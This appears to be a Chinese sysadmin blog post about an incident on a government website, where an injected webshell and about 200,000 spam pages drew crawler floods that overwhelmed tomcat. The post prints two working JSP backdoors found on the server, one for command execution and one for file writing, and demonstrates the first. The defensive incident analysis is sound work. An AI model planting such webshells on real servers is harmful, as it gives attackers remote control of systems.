一、問題現象

下午兩點，剛剛睡醒，就接到了客戶打來的電話，說他們的網站掛（這個用詞很不準確，但是感覺到問題的嚴重性）了，詢問是怎麼發生的，之前做了什麼操作，客戶的回答是：什麼都沒做，突然就不行了！對於這樣的回答，我早已習慣，因為要想從客戶（政府客戶）那裡得到有用的諮詢，基本上很難，因為客戶不是專業人士，所以只能根據客戶的描述，一步步去判斷問題。

通過客戶給出的這個提示，問題判斷方向有如下幾個方面：

1、網站無法訪問了，可能服務down了。也可能服務器宕機了。

2、網站訪問很慢，基本打不開，所以客戶就認為宕機了，但是此時服務和服務器可能還處於啟動狀態。

3、客戶自身網絡問題，或者DNS問題？

帶著疑問，開始了故障排查。

二、問題排查

作為一個運維老鳥，我的一貫思路就是眼見為實，既然客戶說網站不能訪問了，那我還需要自己測試一下，打開瀏覽器，輸入域名，網站久久不能打開，直到超時。看來確實網站打不開了。

2.1、初步排查

接著，開始登錄服務器把脈，客戶網站的架構是nginx+tomcat，我首先通過ssh登錄到nginx服務器上，連接速度還是很快的，登錄上去後，先執行下top命令，檢查下系統整體運行狀態，如下圖所示：

這是一個centos6.9的系統，nginx服務器的硬件配置是32Gb內存，2顆8核物理CPU，nginx通過負載均衡將動態、靜態請求發送給後端的多個tomcat上，tomcat運行在另外兩臺獨立的服務器上，硬件配置為2顆8核物理CPU，64GB內存（這配置太給力了，客戶不缺錢）。

從圖中可以看出，服務器CPU資源有一定負載，但是不高，32GB的內存資源還比較充足，cached了不少內存，這部分都是可以使用的。另外16個nginx進程每個平均佔用CPU負載在30%-40%之間。整體來看，系統資源還是比較充足的，初步判斷，不是nginx服務器的問題。

接著，繼續登錄到tomcat所在的服務器，仍然通過top命令查看系統整體資源狀態，如下圖所示:

tomcat服務器也是一個centox6.9的系統，系統整體負載偏高（最高14），64Gb的物理內存，可用的僅剩下200M左右，雖然cached了48GB左右，另外可以看到有三個java進程，每個進程佔用cpu資源都在100%以上，並且一直持續了幾個小時，這裡有些異常，最後，關注了一下，啟動java進程的是apsds這個普通用戶。

然後繼續查看，發現這三個java進程，其實是啟動了三個tomcat實例，每個tomcat實例都是一個獨立的服務，接著，再去查看第二個tomcat物理服務器，發現跟現在這個無論是硬件配置、還是軟件部署環境，都完全一致，也就是兩臺tomcat啟動了6個tomcat實例，通過前端的nginx做負載均衡整合，對外提供web服務。

2.2、第二次排查

通過簡單的一遍服務器狀態過濾，發現可能出問題的是tomcat服務器，於是將精力集中在tomcat服務器上，於是，重新登錄tomcat機器，查看tomcat訪問日誌，通過對日誌的查看，發現了一些異常，因為有很多不熟悉的靜態頁面被訪問，如下圖所示：

圖中966.html這個頁面感覺有問題，因為客戶的網站靜態頁面是自動生成的，生成的頁面後綴是.htm的，而不是html，這是其一，其二，通過查看966.html這個頁面的訪問次數，嚇了一大跳，一天的時間，300多萬次訪問，這明顯不正常，因為客戶網站平時的訪問量都在10萬以內，根本不可能這麼高。

接著，繼續查看訪問日誌，發現類似966.html的這種頁面訪問非常多，每個頁面的訪問量都很大，於是，就到/htm/966.html對應的網站目錄下，一探究竟吧，進入網站根目錄下的htm目錄，又發現了一些異常，如下圖所示：

這個目錄是網站生成的靜態頁面目錄，可以看到有基於htm的靜態頁面，這些頁面以gk開頭，是客戶網站自動生成的正常文件，另外還有很多以html結尾的靜態文件，這些文件不清楚是怎麼來的，此外，還看到有個1.jsp的文件，這個就更詭異了，在靜態頁面目錄下，不可能放一個jsp文件啊，經過與客戶的諮詢以及與研發的溝通，確認這些以html結尾的靜態文件以及1.jsp文件都不是網站本身生成或使用的，那麼重點來了，先來看看這些文件的內容吧。

首先查看以html結尾的靜態文件內容是什麼吧，這裡就以這個996.html文件為例，通過瀏覽器訪問996.html文件，頓時，傻眼了！！！請看下圖：

百度，中獎查詢！！！，此時腦子的第一反應是，網站被植入WebShell了，看來問題非常嚴重。

接著，繼續打開1.jsp這個文件，看看這個文件到底是什麼鬼，此文件內容如下：（代碼僅供學習，請勿其它用途）

<%@page import="java.io.IOException"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.io.BufferedReader"%>
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
 String cmd = request.getParameter("cmd");
 System.out.println(cmd);
 Process process = null; 
 List<String> processList = new ArrayList<String>(); 
 try { 
 if (cmd!=null) {
 process = Runtime.getRuntime().exec(cmd); 
 BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); 
 String line = ""; 
 while ((line = input.readLine()) != null) { 
 processList.add(line); 
 } 
 input.close(); 
 }
 } catch (IOException e) { 
 e.printStackTrace(); 
 }
 String s = "";
 for (String line : processList) { 
 s += line + "\\n";
 } 
 if (s.equals("")) {
 out.write("null");
 }else {
 out.write(s);
 }
%>

好嘛，稍懂程序的人都能看出，這是一個WebShell木 馬後門，它能幹啥，先來試試，就知道了，打開瀏覽器，訪問：http://ip/htm/1.jsp?cmd=ls /,

如下圖所示：

這不是我的服務器根目錄嗎，然後將”cmd=“後面的字符替換成任意linux下可執行的命令，都能正常執行，這就是瀏覽器下的命令行啊！！！

再執行一個寫操作看看，在瀏覽器訪問如下地址：

[apsds@tomcatserver1 htm]$ pwd
/usr/local/tomcat/webapps/ROOT/htm
[apsds@tomcatserver1 htm]$ ll test.html 
-rw-r----- 1 apsds apsds 0 10月 16 10:57 test.html

看到了吧，成功寫入。

不過還是比較幸運的，因為tomcat進程是通過普通用戶apsds啟動的，所以通過這個1.jsp只能在apsds用戶權限下進行添加、刪除操作，如果tomcat是以root用戶啟動的話，那問題就更嚴重了，因為這個1.jsp可以對系統下任意文件或目錄進行修改、刪除操作了，其實相當於瀏覽器的root權限操作了。

到這裡為止，好像問題正在逐漸浮出水面。

但是，我們高興太早了，上個文件還沒完全搞清楚，新的問題又來了，我們在查詢客戶網站搜索權重的時候，新的問題出現了，如下圖所示：

這是在搜索引擎搜到的客戶網站內容，很明顯，客戶網站被植入了非法內容，然後被搜索引擎收錄了，點開搜索出來的任意一個頁面，內容如下：

經過分析，可以發現，這個頁面的部分內容被替換了，替換的內容都是一些網站的關鍵字，應該是黑帽SEO的手段。

這裡說到了搜索引擎，突然意識到，此次的故障，是否跟搜索引擎有關係呢？

整理了一下思路，感覺應該是這樣的：

1、網站應該有程序漏洞，在互聯網被掃描到，然後注入了webshell。

2、駭客通過webshell植入了大量廣告、推銷網頁。

3、因為網站（gov網站）權重比較高，所以搜索引擎比較喜歡來訪

4、大量廣告、推銷網頁被搜索引擎抓取，導致網站訪問量激增。

5、客戶的網站是nginx+多個tomcat實現的負載均衡，所有動態、靜態頁面請求都交給tomcat來處理，當出現大量靜態請求時，可能會導致tomcat

無法響應。因為tomcat處理靜態請求性能很差。

2.3、第三次排查

帶著上面這個思路，繼續進行排查，步驟如下：

1、排查網站上被注入的html頁面的數量

通過find查找、過濾，發現被植入的html頁面有兩類，分別是百度虛假中獎廣告頁面和黑帽seo關鍵字植入頁面。

兩種類型的html頁面，總共有20w個左右，這個數量相當驚人。

2、排查網站訪問日誌

通過對tomcat訪問日誌的統計和分析，發現每天對這些注入頁面的訪問量超過500w次，並且幾乎全部是通過搜索引擎過來的流量，做了個簡單的過濾統計，結果如下：

[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Baiduspider|wc -l 
596650
[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Googlebot|wc -l 
540340
[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep 360Spider|wc -l 
63040
[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep bingbot|wc -l 
621670
[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep YisouSpider|wc -l 
3800100
[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Sogou|wc -l 
533810

其中，Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必應蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛，其中，YisouSpider過來抓取的量最大，正常來說，蜘蛛抓取不應該這麼頻繁啊，於是簡單搜索了一下YisouSpider這個蜘蛛，如下圖所示：

看來是個流氓蜘蛛，網絡上對這個YisouSpider的蜘蛛罵聲一片。

3、查看nginx錯誤日誌

通過查看nginx錯誤日誌，發現有大量連接返回超時請求（502錯誤），也就是說，nginx把請求交給tomcat後，tomcat遲遲不返回，導致返回超時，出現502 bad gateway錯誤。這個很明顯是tomcat無法響應請求導致的。

那麼就來看看tomcat服務器上的連接數情況：

[root@tomcatserver1 logs]# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 125300
CLOSE_WAIT 12
FIN_WAIT1 197
FIN_WAIT2 113
ESTABLISHED 13036
SYN_RECV 115
CLOSING 14
LAST_ACK 17

這裡其實只需要關注三種狀態即可：ESTABLISHED表示正在通信，TIME_WAIT表示主動關閉，正在等待遠程套接字的關閉傳送，CLOSE_WAIT表示遠程被動關閉，正在等待關閉這個套接字。

從輸出可知，服務器上保持了大量TIME_WAIT狀態和ESTABLISHED狀態，大量的TIME_WAIT，應該是tomcat無法響應請求，然後超時，主動關閉了連接，導致出現TIME_WAIT，種種跡象表明，tomcat無法處理這麼大的連接請求，導致響應緩慢，最終服務出現無響應。

通過這三個方面的排查，基本驗證了自己的思路，那麼問題也隨即找到了。

三、解決問題

網站有漏洞，然後被注入webshell，繼而被上傳了大量廣告、推廣網頁，導致搜索引擎瘋狂抓取，最終導致脆弱的tomcat不堪重負，失去響應，這是此次故障發生的根本原因。

1、修復網站程序漏洞

要解決這個問題，首選要做的是找到網站漏洞，研發介入後，通過代碼排查，發現了網站漏洞的原因，是因為網站後臺使用了一個輕量級的遠程調用協議json-rpc來與服務器進行數據交換通訊，但是此接口缺乏校驗機制，導致駭客獲取了後臺登錄的賬號和密碼，然後在後臺上傳了一個webshell，進而控制了操作系統。

研發在第一時間修復了這個漏洞，然後就是運維的幹活時間了。

我們首先在服務器上進行了網頁掃描，主要掃描html為後綴的文件，然後全部刪除（因為我們的網頁都是以.htm結尾），同時刪除了那個1.jsp文件，並繼續查找和檢查其它可疑的jsp文件，檢查過程中又發現了一個jsp後門，基本特徵碼如下：（代碼僅供學習）

<% 
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%>

然後果斷刪除。不留後患。

2、禁封網絡蜘蛛

網絡上的蜘蛛、爬蟲很多，有些是正規的，有些是流氓，適當的網絡蜘蛛抓取對網站權重、流量有益，而那些流氓的蜘蛛必須要禁止，要實現禁封網絡蜘蛛，在nginx下可通過如下配置實現：

server { 
listen 80; 
server_name 127.0.0.1; 
#添加如下內容即可防止爬蟲
if ($http_user_agent ~* "qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot") 
{ 
return 403; 
} 

這樣，當蜘蛛過來爬取你網站的時候，直接給他返回一個403錯誤，這裡禁止了很多網絡蜘蛛，如果你還需要蜘蛛的話，可保留幾個比較正規的，例如谷歌蜘蛛和百度蜘蛛即可，其實一律封掉。

上面這個辦法有點簡單粗暴，但是最有效，其實還可以在網站更目錄下增加Robots.txt文件，在這個文件中我們可以聲明該網站中不想被robots訪問的部分，或者指定搜索引擎只收錄指定的內容。

robots.txt是搜索引擎中訪問網站的時候要查看的第一個文件。robots.txt文件告訴蜘蛛程序在服務器上什麼文件是可以被查看和抓取的，當一個搜索蜘蛛訪問一個站點時，它會首先檢查該站點根目錄下是否存在robots.txt，如果存在，搜索蜘蛛就會按照該文件中的內容來確定訪問的範圍；如果該文件不存在，所有的搜索蜘蛛將能夠訪問網站上所有沒有被口令保護的頁面。

Robots協議是國際互聯網界通行的道德規範，請注意，是道德標準，因此，如果搜索引擎不遵守約定的Robots協議，那麼通過在網站下增加robots.txt也是不起作用的。

目前的網絡蜘蛛大致分為4種：

（1）、真名真姓，遵循robots.txt協議。

（2）、真名真姓，不遵循robots.txt協議。

（3）、匿名，不遵循robots.txt協議。

（4）、偽裝：不遵循robots.txt協議。

目前看來，絕大多數的搜索引擎機器人都遵守robots.txt規則的。但是一些不知名的網絡蜘蛛就會經常耍流氓，對待這種蜘蛛，建議使用上面nginx下配置的規則，直接給它deny了。

下面看幾個robots.txt配置例子

（1）、允許所有的robot訪問

User-agent: *
Disallow:

（2）、禁止所有搜索引擎訪問網站的任何部分

User-agent: *
Disallow: /

（3）、禁止所有搜索引擎訪問網站的幾個部分（下例中的a、b、c目錄）

User-agent: *
Disallow: /a/
Disallow: /b/
Disallow: /c/

（4）、禁止某個搜索引擎的訪問（下例中的YisouSpider）

User-agent: YisouSpider
Disallow: /

（5）、只允許某個搜索引擎的訪問（下例中的Googlebot）

User-agent: Googlebot
Disallow:
User-agent: *
Disallow: /

通過Robots.txt文件方法去現在搜索引擎，是一個防君子不防小人的方法，碰到流氓蜘蛛就沒轍了，有些無恥的搜索引擎根本不看網站的robots.txt，一路狂抓下去，實在另人髮指。

3、調整網站的web架構

因為tomcat處理靜態資源能力很低，因此，可以將靜態資源交給nginx來處理，動態資源交給tomcat處理，通過這種動、靜分類方式，可以大大提高網站的抗壓性能。

我們採用的方式是將tomcat生成的htm文件放到一個共享磁盤分區，然後在nginx服務器上通過nfs掛載這個磁盤分區，這樣nginx就可以直接訪問這些靜態文件。

通過上面三個步驟的操作，網站在半個小時內負載下降，很快恢復正常了。